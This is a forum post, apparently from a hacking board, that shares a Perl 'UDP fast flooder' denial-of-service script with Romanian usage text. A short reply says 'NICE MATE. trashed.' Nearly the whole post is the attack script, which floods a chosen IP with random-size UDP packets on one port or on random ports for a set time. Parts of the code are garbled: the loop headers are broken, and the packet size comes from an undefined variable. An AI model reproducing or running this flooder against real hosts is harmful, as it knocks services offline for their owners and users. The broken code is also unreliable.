Perl Dos Script ( Udp ) Old

[psihicdeliric]

#!/usr/bin/perl

#####################################################

# Ip FuckZ0r

#

# By nevermind

#

# ddos.pl - udp ip ddoser

#

######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {

printf "$0 <ip> <port> <timp>\n";

printf "if arg1/2 =0, pachete orice marime / atac pe orice port\n";

exit(1);

}

my ($ip,$port,$size,$time);

$ip=$ARGV[0];

$port=$ARGV[1];

$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);

$iaddr = inet_aton("$ip");

printf ":::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: Made By nevermind

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: Udp Fast Flooder

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: Connection Speed 1

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: Ip/Connection 500

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: Target Info Set

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: Attack started

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::::::::: 65500 Sent Ctrl+C To Stop

::::::::::::::::::::::::::::::::::::::::::::::::::::::: \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {

goto randpackets;

}

if ($ARGV[1] !=0 && $ARGV[2] !=0) {

system("(sleep $time;killall -9 udp) &");

goto packets;

}

if ($ARGV[1] !=0 && $ARGV[2] ==0) {

goto packets;

}

if ($ARGV[1] ==0 && $ARGV[2] !=0) {

system("(sleep $time;killall -9 udp) &");

goto randpackets;

}

packets:

for ( {

$size=$rand x $rand x $rand;

send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}

randpackets:

for ( {

$size=$rand x $rand x $rand;

$port=int(rand 65500) +1;

send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}[/Qcode]

[hades]

NICE MATE. trashed.